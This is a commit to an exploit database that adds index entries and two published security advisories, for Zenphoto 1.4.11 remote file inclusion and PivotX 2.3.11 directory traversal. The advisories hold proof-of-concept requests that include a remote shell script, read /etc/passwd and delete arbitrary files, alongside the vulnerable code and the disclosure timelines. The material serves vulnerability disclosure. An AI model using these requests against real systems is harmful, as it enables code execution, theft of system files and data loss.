Skip to content

Commit 49a8e7d

Browse files
author
Offensive Security
committed
DB: 2016-03-18
2 new exploits file Zenphoto 1.4.11 - Remote File Inclusion Synology Photo Station 5 DSM 3.2 'photo_one.php' Script Cross Site Scripting Vulnerability Synology Photo Station 5 DSM 3.2 - 'photo_one.php' Script Cross Site Scripting Vulnerability file PivotX 2.3.11 - Directory Traversal
1 parent 9deb7ec commit 49a8e7d

3 files changed

Lines changed: 186 additions & 1 deletion

File tree

‎files.csv‎

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13243,6 +13243,7 @@ id,file,description,date,author,platform,type,port
1324313243
15224,platforms/php/webapps/15224.txt,"js calendar 1.5.1 joomla component Multiple Vulnerabilities",2010-10-09,"Salvatore Fresta",php,webapps,0
1324413244
15225,platforms/php/webapps/15225.txt,"videodb <= 3.0.3 - Multiple Vulnerabilities",2010-10-09,Valentin,php,webapps,0
1324513245
15268,platforms/php/webapps/15268.txt,"WikiWebHelp <= 0.3.3 Insecure Cookie Handling Vulnerability",2010-10-17,FuRty,php,webapps,0
13246+
39571,platforms/php/webapps/39571.txt,"Zenphoto 1.4.11 - Remote File Inclusion",2016-03-17,"Curesec Research Team",php,webapps,80
1324613247
15269,platforms/php/webapps/15269.txt,"Tastydir <= 1.2 (1216) Multiple Vulnerabilities",2010-10-17,R,php,webapps,0
1324713248
15227,platforms/php/webapps/15227.txt,"PHP-Fusion MG User-Fotoalbum SQL Injection Vulnerability",2010-10-10,"Easy Laster",php,webapps,0
1324813249
15592,platforms/php/webapps/15592.txt,"sahitya graphics CMS - Multiple Vulnerabilities",2010-11-21,"Dr.0rYX AND Cr3W-DZ",php,webapps,0
@@ -33347,7 +33348,7 @@ id,file,description,date,author,platform,type,port
3334733348
36941,platforms/xml/webapps/36941.txt,"IBM WebSphere Portal Stored Cross-Site Scripting Vulnerability",2015-05-07,"Filippo Roncari",xml,webapps,0
3334833349
36942,platforms/php/webapps/36942.txt,"WordPress Freshmail Plugin <= 1.5.8 - (shortcode.php) SQL Injection",2015-05-07,"Felipe Molina",php,webapps,80
3334933350
36943,platforms/ios/webapps/36943.txt,"Album Streamer 2.0 iOS - Directory Traversal Vulnerability",2015-05-07,Vulnerability-Lab,ios,webapps,0
33350-
36944,platforms/php/webapps/36944.txt,"Synology Photo Station 5 DSM 3.2 'photo_one.php' Script Cross Site Scripting Vulnerability",2012-03-12,"Simon Ganiere",php,webapps,0
33351+
36944,platforms/php/webapps/36944.txt,"Synology Photo Station 5 DSM 3.2 - 'photo_one.php' Script Cross Site Scripting Vulnerability",2012-03-12,"Simon Ganiere",php,webapps,0
3335133352
36945,platforms/hardware/remote/36945.txt,"TP-LINK TL-WR740N 111130 - 'ping_addr' Parameter HTML Injection Vulnerability",2012-03-12,l20ot,hardware,remote,0
3335233353
36946,platforms/php/webapps/36946.txt,"Wikidforum 2.10 Advanced Search Multiple Field SQL Injection",2012-03-12,"Stefan Schurtz",php,webapps,0
3335333354
36947,platforms/php/webapps/36947.txt,"Wikidforum 2.10 Search Field XSS",2012-03-12,"Stefan Schurtz",php,webapps,0
@@ -35803,3 +35804,4 @@ id,file,description,date,author,platform,type,port
3580335804
39568,platforms/hardware/remote/39568.py,"Cisco UCS Manager 2.1(1b) - Shellshock Exploit",2016-03-16,thatchriseckert,hardware,remote,443
3580435805
39569,platforms/multiple/remote/39569.py,"OpenSSH <= 7.2p1 - xauth Injection",2016-03-16,tintinweb,multiple,remote,22
3580535806
39570,platforms/freebsd_x86-64/dos/39570.c,"FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow",2016-03-16,"Core Security",freebsd_x86-64,dos,0
35807+
39572,platforms/php/webapps/39572.txt,"PivotX 2.3.11 - Directory Traversal",2016-03-17,"Curesec Research Team",php,webapps,80

‎platforms/php/webapps/39571.txt‎

Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
Security Advisory - Curesec Research Team
2+
3+
1. Introduction
4+
5+
Affected Product: Zenphoto 1.4.11
6+
Fixed in: 1.4.12
7+
Fixed Version Link: https://github.com/zenphoto/zenphoto/archive/
8+
zenphoto-1.4.12.zip
9+
Vendor Website: http://www.zenphoto.org/
10+
Vulnerability Type: RFI
11+
Remote Exploitable: Yes
12+
Reported to vendor: 01/29/2016
13+
Disclosed to 03/15/2016
14+
public:
15+
Release mode: Coordinated Release
16+
CVE: n/a
17+
Credits Tim Coen of Curesec GmbH
18+
19+
2. Overview
20+
21+
Zenphoto is a CMS for hosting images, written in PHP. In version 1.4.11, it is
22+
vulnerable to remote file inclusion. An admin account is required.
23+
24+
3. Details
25+
26+
Description
27+
28+
CVSS: High 8.5 AV:N/AC:M/Au:S/C:C/I:C/A:C
29+
30+
When downloading a log file, the input is not properly sanitized, leading to
31+
RFI.
32+
33+
An admin account is required, and allow_url_fopen must be set to true - which
34+
is the default setting.
35+
36+
In old versions of PHP, this would additionally lead to LFI via null byte
37+
poisoning or path expansion, regardless of allow_url_fopen settings.
38+
39+
Proof of Concept
40+
41+
GET /zenphoto-zenphoto-1.4.11/zp-core/admin-logs.php?action=download_log&page=
42+
logs&tab=http://localhost/shell.php%3f%78%3d%69%64%26%66%6f%6f%3d&filename=
43+
security&XSRFToken=afd5bafed21279d837486fd2beea81f87bc29dea HTTP/1.1
44+
45+
Code
46+
47+
// admin-logs.php (sanitize(x, 3) only strips out tags)
48+
case 'download_log':
49+
$zipname = sanitize($_GET['tab'], 3) . '.zip';
50+
if (class_exists('ZipArchive')) {
51+
$zip = new ZipArchive;
52+
$zip->open($zipname, ZipArchive::CREATE);
53+
$zip->addFile($file, basename($file));
54+
$zip->close();
55+
ob_get_clean();
56+
header("Pragma: public");
57+
header("Expires: 0");
58+
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
59+
header("Cache-Control: private", false);
60+
header("Content-Type: application/zip");
61+
header("Content-Disposition: attachment; filename=" . basename($zipname) . ";" );
62+
header("Content-Transfer-Encoding: binary");
63+
header("Content-Length: " . filesize($zipname));
64+
readfile($zipname);
65+
// remove zip file from temp path
66+
unlink($zipname);
67+
exit;
68+
} else {
69+
include_once(SERVERPATH . '/' . ZENFOLDER . '/lib-zipStream.php');
70+
$zip = new ZipStream($zipname);
71+
$zip->add_file_from_path(internalToFilesystem(basename($file)),internalToFilesystem($file));
72+
$zip->finish();
73+
}
74+
break;
75+
76+
4. Solution
77+
78+
To mitigate this issue please upgrade at least to version 1.4.12:
79+
80+
https://github.com/zenphoto/zenphoto/archive/zenphoto-1.4.12.zip
81+
82+
Please note that a newer version might already be available.
83+
84+
5. Report Timeline
85+
86+
01/29/2016 Informed Vendor about Issue
87+
01/29/2016 Vendor replies
88+
02/23/2016 Vendor sends fix for verification
89+
02/23/2016 Suggested improvements for attempted fix
90+
02/29/2016 Delayed Disclosure
91+
03/14/2016 Vendor releases fix
92+
03/15/2016 Disclosed to public
93+
94+
95+
Blog Reference:
96+
https://blog.curesec.com/article/blog/Zenphoto-1411-RFI-156.html
97+
98+
--
99+
blog: https://blog.curesec.com
100+
tweet: https://twitter.com/curesec
101+
102+
Curesec GmbH
103+
Curesec Research Team
104+
Romain-Rolland-Str 14-24
105+
13089 Berlin, Germany

‎platforms/php/webapps/39572.txt‎

Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
Security Advisory - Curesec Research Team
2+
3+
1. Introduction
4+
5+
Affected Product: PivotX 2.3.11
6+
Fixed in: not fixed
7+
Fixed Version Link: n/a
8+
Vendor Website: http://pivotx.net/
9+
Vulnerability Type: Directory Traversal
10+
Remote Exploitable: Yes
11+
Reported to vendor: 01/20/2016
12+
Disclosed to public: 03/15/2016
13+
Release mode: Full Disclosure
14+
CVE: n/a
15+
Credits Tim Coen of Curesec GmbH
16+
17+
2. Overview
18+
19+
PivotX is a CMS for blogging written in PHP. In version 2.3.11, it is
20+
vulnerable to Directory Traversal, allowing authenticated users to read and
21+
delete files outside of the PivotX directory.
22+
23+
3. Details
24+
25+
Description
26+
27+
CVSS: Medium 4.0 AV:N/AC:L/Au:S/C:P/I:N/A:N
28+
29+
The function cleanPath which is responsible for sanitizing path names can be
30+
bypassed by an attacker, leading to directory traversal in multiple places.
31+
32+
Proof of Concept
33+
34+
Admins and Superadmins can read any file:
35+
36+
http://localhost/pivotx_latest/pivotx/ajaxhelper.php?function=view&basedir=
37+
L3Zhci93d3cvcGl2b3R4X2xhdGVzdC9CYXNlZGlyLwo=&file=../.....//...//.....//.../
38+
/.....//...//.....//...//.....//...//.....//...//etc/passwd
39+
40+
Advanced users, Admins and Superadmins can delete any file, possibly leading to
41+
DOS:
42+
43+
http://localhost/pivotx_latest/pivotx/index.php?page=media&del=.....//.../
44+
/.....//...//.....//...//.....//...//.....//...//.....//...//important/
45+
important.file&pivotxsession=ovyyn4ob2jc5ym92
46+
47+
Code
48+
49+
lib.php
50+
function cleanPath($path) {
51+
$path = str_replace('../', '', $path);
52+
$path = str_replace('..\\', '', $path);
53+
$path = str_replace('..'.DIRECTORY_SEPARATOR, '', $path);
54+
return $path;
55+
}
56+
57+
4. Solution
58+
59+
This issue was not fixed by the vendor.
60+
61+
5. Report Timeline
62+
63+
01/20/2016 Informed Vendor about Issue
64+
01/29/2016 Vendor replies, PivotX is not maintained anymore
65+
03/15/2016 Disclosed to public
66+
67+
68+
Blog Reference:
69+
https://blog.curesec.com/article/blog/PivotX-2311-Directory-Traversal-154.html
70+
71+
--
72+
blog: https://blog.curesec.com
73+
tweet: https://twitter.com/curesec
74+
75+
Curesec GmbH
76+
Curesec Research Team
77+
Romain-Rolland-Str 14-24
78+
13089 Berlin, Germany

0 commit comments

Comments
 (0)